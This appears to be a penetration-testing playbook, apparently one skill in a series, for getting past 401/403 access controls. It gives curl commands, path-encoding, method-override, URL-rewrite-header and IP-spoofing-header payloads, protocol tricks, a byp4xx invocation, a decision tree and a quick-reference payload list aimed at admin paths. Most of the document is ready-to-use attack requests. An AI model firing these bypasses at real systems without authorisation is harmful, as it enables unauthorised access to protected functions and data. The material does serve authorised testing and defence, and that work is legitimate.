401 403 Bypass Techniques

401/403 Bypass Techniques

A bypass candidate appears when two HTTP-processing layers (CDN, reverse proxy, web server, framework) decide differently about the same request. The useful signal is a change in routing or protected content, not a status code alone.

When to Use

• A known route returns 401 Unauthorized or 403 Forbidden.
• A reverse proxy, WAF, API gateway, or CDN sits in front of the application.
• Frontend and backend normalize paths, methods, or headers differently.
• IIS, Tomcat, Spring, Apache, Nginx, or WebDAV routing is visible.
• Equivalent requests return different status, headers, or body, hinting at a routing differential.

Prerequisites

• An HTTP client that preserves raw paths: curl --path-as-is or Burp Repeater.
• A denied baseline request plus a marker for the expected protected content.
• Optional tooling: byp4xx, dirsearch, feroxbuster, Burp Intruder, nghttp, nc.

How to Run

TARGET="https://target.example"
PATH_DENIED="/admin"
OUTDIR="${OUTPUT_DIR:-./output}/401-403"
mkdir -p "$OUTDIR"

# Denied baseline: record status, headers, and body for comparison.
curl -sS --path-as-is --max-time 10 \
  -D "$OUTDIR/baseline.headers" -o "$OUTDIR/baseline.body" \
  -w 'status=%{http_code} bytes=%{size_download} redirect=%{redirect_url}\n' \
  "$TARGET$PATH_DENIED"

# Compare candidates against the baseline.
curl -sS --path-as-is --max-time 10 -i "$TARGET/./${PATH_DENIED#/}"
curl -sS --path-as-is --max-time 10 -i -X OPTIONS "$TARGET$PATH_DENIED"
curl -sS --path-as-is --max-time 10 -i -H 'X-Forwarded-For: 127.0.0.1' "$TARGET$PATH_DENIED"

For each candidate, compare status, Location, body length, title, and a protected-content marker against the baseline.

Procedure

1. Path Manipulation Bypasses

The core idea: the reverse proxy/WAF checks one path format, but the backend normalizes differently. The ✓ marks request forms that commonly reach the backend through a different route; a 200 alone is not proof of access (see Verification).

1.1 Trailing Slash / Missing Slash

/admin      → 403
/admin/     → 200  ✓ (trailing slash)
/admin/.    → 200  ✓ (trailing dot)

1.2 Case Sensitivity

/admin      → 403
/Admin      → 200  ✓
/ADMIN      → 200  ✓
/aDmIn      → 200  ✓

Works when: proxy rule is case-sensitive but backend is case-insensitive (common on Windows/IIS).

1.3 URL Encoding

/admin          → 403
/%61dmin        → 200  ✓ (encode 'a')
/admi%6e        → 200  ✓ (encode 'n')
/%61%64%6d%69%6e → 200  ✓ (full encode)

1.4 Double URL Encoding

/admin              → 403
/%2561dmin          → 200  ✓ (%25 = %, decoded twice: %61 → a)
/admin%252f         → 200  ✓
/admin..%252f       → 200  ✓

1.5 Unicode / UTF-8 Encoding

/admin          → 403
/admi%C0%AE     → 200  ✓ (overlong UTF-8 for '.')
/admi%C0%6E     → 200  ✓ (overlong UTF-8 for 'n')
/%C0%AFadmin    → 200  ✓ (overlong UTF-8 for '/')

Modern UTF-8 decoders reject overlong forms; these target legacy parsers and mixed decoding chains.

1.6 Dot-Segment / Path Traversal

/admin          → 403
/./admin        → 200  ✓
//admin         → 200  ✓
/admin/./       → 200  ✓
/.//admin       → 200  ✓
/admin..;/      → 200  ✓ (Tomcat path parameter)

1.7 Null Byte

/admin          → 403
/admin%00       → 200  ✓
/admin%00.json  → 200  ✓
/%00/admin      → 200  ✓

Relevant to older native modules; modern managed runtimes usually reject embedded NUL bytes.

1.8 Path Parameter Injection

/admin          → 403
/admin;foo=bar  → 200  ✓ (Tomcat/Java treats ; as path param)
/admin;         → 200  ✓
/admin;x        → 200  ✓

1.9 Trailing Special Characters

/admin%20 (space)  /admin%09 (tab)   /admin? (empty query)
/admin.json        /admin.html       /admin/~

1.10 Backslash (Windows/IIS)

/admin\    /admin\..\/    \..\admin

1.11 Combined Path Tricks

///admin///    /./admin/./    /admin/..;/admin (Tomcat)    /%2e/admin

2. HTTP Method Bypass

2.1 Direct Method Change

GET  /admin → 403
POST /admin → 200  ✓
PUT  /admin → 200  ✓
PATCH /admin → 200  ✓
DELETE /admin → 200  ✓
OPTIONS /admin → 200  ✓ (may leak allowed methods)
TRACE /admin → 200  ✓ (may reflect headers — XST)
HEAD /admin → 200  ✓ (bodyless response; does not by itself confirm access to the protected body)

2.2 Method Override Headers

When the proxy blocks by method, but the backend reads override headers:

GET /admin HTTP/1.1
X-HTTP-Method-Override: PUT

GET /admin HTTP/1.1
X-Method-Override: POST

GET /admin HTTP/1.1
X-HTTP-Method: DELETE

POST /admin HTTP/1.1
X-HTTP-Method-Override: PATCH
_method=PUT  (in POST body — Rails, Laravel)

2.3 Custom / Invalid Methods

FOOBAR /admin HTTP/1.1     → some ACLs only check GET/POST
GETS /admin HTTP/1.1       → typo-like methods may bypass
CONNECT /admin HTTP/1.1    → proxy may tunnel
PROPFIND /admin HTTP/1.1   → WebDAV method
MOVE /admin HTTP/1.1       → WebDAV method

3. Header-Based Bypass

3.1 URL Rewrite Headers (Reverse Proxy / IIS ARR)

These headers tell the backend the "real" URL, bypassing proxy-level path checks:

GET / HTTP/1.1
X-Original-URL: /admin

GET / HTTP/1.1
X-Rewrite-URL: /admin

The proxy sees GET / (allowed), but the backend routes to /admin.

3.2 IP Spoofing Headers (Whitelist Bypass)

Headers to try (each with values 127.0.0.1, 10.0.0.1, 0.0.0.0, ::1):

X-Forwarded-For | X-Real-IP | X-Originating-IP | X-Remote-IP
X-Remote-Addr | X-Client-IP | True-Client-IP | Cluster-Client-IP
X-ProxyUser-IP | X-Custom-IP-Authorization | Forwarded: for=127.0.0.1

IP encoding variants: 0177.0.0.1 (octal), 2130706433 (decimal), 0x7f000001 (hex), localhost

3.3 Other Header Tricks

Referer: https://target.com/admin     # Referrer check bypass
Origin: https://target.com             # Origin check bypass
Host: localhost                         # Host header manipulation
X-Forwarded-Host: localhost            # Forwarded host
Content-Type: application/json         # Content-type switch
X-Requested-With: XMLHttpRequest       # AJAX flag

4. Protocol Version Bypass

# HTTP/1.0 (some ACLs only apply to HTTP/1.1)
GET /admin HTTP/1.0

# HTTP/0.9 (extremely legacy — no headers)
GET /admin

# HTTP/2 pseudo-header tricks
:method: GET
:path: /admin
:authority: target.com
# See the hunt-http-smuggling skill for H2-specific bypasses, including h2c upgrade.

5. Verb Tampering + Path Combination

Combine multiple techniques for higher success rate:

POST / HTTP/1.1                          # method override + URL rewrite
X-Original-URL: /admin
X-HTTP-Method-Override: GET

GET /%61dmin HTTP/1.1                    # IP spoof + path encoding
X-Forwarded-For: 127.0.0.1

GET /Admin HTTP/1.0                      # protocol + case + IP spoof
X-Forwarded-For: 127.0.0.1

6. Technology-Specific Bypasses

7. Automated Tools

byp4xx usage

# Basic usage: attempts path, method, header, and protocol variants.
byp4xx -m 10 --rate 5 -xD "https://target.com/admin"

# Output shows all attempted bypasses and their response codes.
# Treat 200/301/302 rows as candidates; confirm each against the baseline.

8. Decision Tree

Got 401 or 403 on a path?
│
├── Try PATH MANIPULATION first (highest success rate)
│   ├── /path/      (trailing slash)
│   ├── /PATH       (case change)
│   ├── /path%20    (trailing space)
│   ├── /./path     (dot segment)
│   ├── //path      (double slash)
│   ├── /path;x     (path parameter — Java/Tomcat)
│   ├── /path..;/   (Tomcat specific)
│   ├── /%2e/path   (encoded dot)
│   ├── /path%00    (null byte)
│   ├── /path%23    (encoded hash)
│   └── Result? → status/body differ from baseline = candidate
│
├── Path tricks failed → Try METHOD BYPASS
│   ├── POST/PUT/PATCH/DELETE/OPTIONS
│   ├── HEAD (bodyless GET — verify body access separately)
│   ├── X-HTTP-Method-Override: PUT
│   └── TRACE (may reflect auth headers — XST)
│
├── Method tricks failed → Try HEADER BYPASS
│   ├── X-Original-URL: /path      (reverse proxy/IIS rewrite)
│   ├── X-Rewrite-URL: /path       (same concept)
│   ├── X-Forwarded-For: 127.0.0.1 (IP whitelist)
│   ├── X-Real-IP: 127.0.0.1
│   ├── True-Client-IP: 127.0.0.1
│   └── Referer: https://target.com/path
│
├── Header tricks failed → Try PROTOCOL BYPASS
│   ├── HTTP/1.0 instead of 1.1
│   ├── HTTP/2 h2c smuggling (hunt-http-smuggling)
│   └── WebSocket upgrade
│
├── Single techniques failed → Try COMBINATIONS
│   ├── Method + Path: POST /PATH/
│   ├── Header + Path: X-Forwarded-For + /path%20
│   ├── All three: POST + X-Original-URL + IP headers
│   └── Protocol + Path: HTTP/1.0 + encoded path
│
├── All bypasses failed → Consider ALTERNATIVE APPROACHES
│   ├── Request smuggling (hunt-http-smuggling) → smuggle past ACL
│   ├── SSRF (hunt-ssrf) → access from server
│   ├── IDOR (hunt-idor) → access data directly
│   └── Auth flaws (hunt-auth-bypass) → login bypass
│
└── Automated scan with byp4xx for completeness

Quick Reference — Key Payloads

# Top 10 quick-wins (try these first)
GET /admin/     HTTP/1.1        # trailing slash
GET /Admin      HTTP/1.1        # case change
GET /admin%20   HTTP/1.1        # trailing space
GET /./admin    HTTP/1.1        # dot segment
GET //admin     HTTP/1.1        # double slash
POST /admin     HTTP/1.1        # method change
GET / HTTP/1.1                  # X-Original-URL bypass
X-Original-URL: /admin
GET /admin HTTP/1.1             # IP whitelist bypass
X-Forwarded-For: 127.0.0.1
GET /admin;.css HTTP/1.1        # IIS path param
GET /admin..;/ HTTP/1.1         # Tomcat bypass

Pitfalls

• A 200 may be a login page, generic error, WAF challenge, SPA shell, or cached public response.
• A 301/302 may only redirect to authentication; inspect Location and the destination body.
• HEAD has no body; OPTIONS and TRACE expose method behavior, not the protected content.
• CDN, proxy, server, framework, and application layers may each normalize differently; identify the layer responsible for a change.
• Browsers and CLI clients normalize URLs differently; use --path-as-is.
• Some clients and servers collapse // and dot-segments before any check runs, so a candidate can hit the wire as the plain baseline path; confirm the raw request target (Burp Repeater shows what was actually sent).
• Legacy parser forms only work where a compatible parser exists.
• Cache hits can make distinct requests look identical or a candidate look successful without reaching the protected handler.

Verification

• Compare every candidate with the denied baseline: status, reason phrase, Location, WWW-Authenticate, Allow, cache and content-type headers, title, body length, and protected-content markers.
• Repeat with a cache buster when cache behavior is ambiguous.
• A bypass is confirmed when the candidate reaches protected content or behavior the baseline cannot reach; a status change alone is an observation, not a bypass.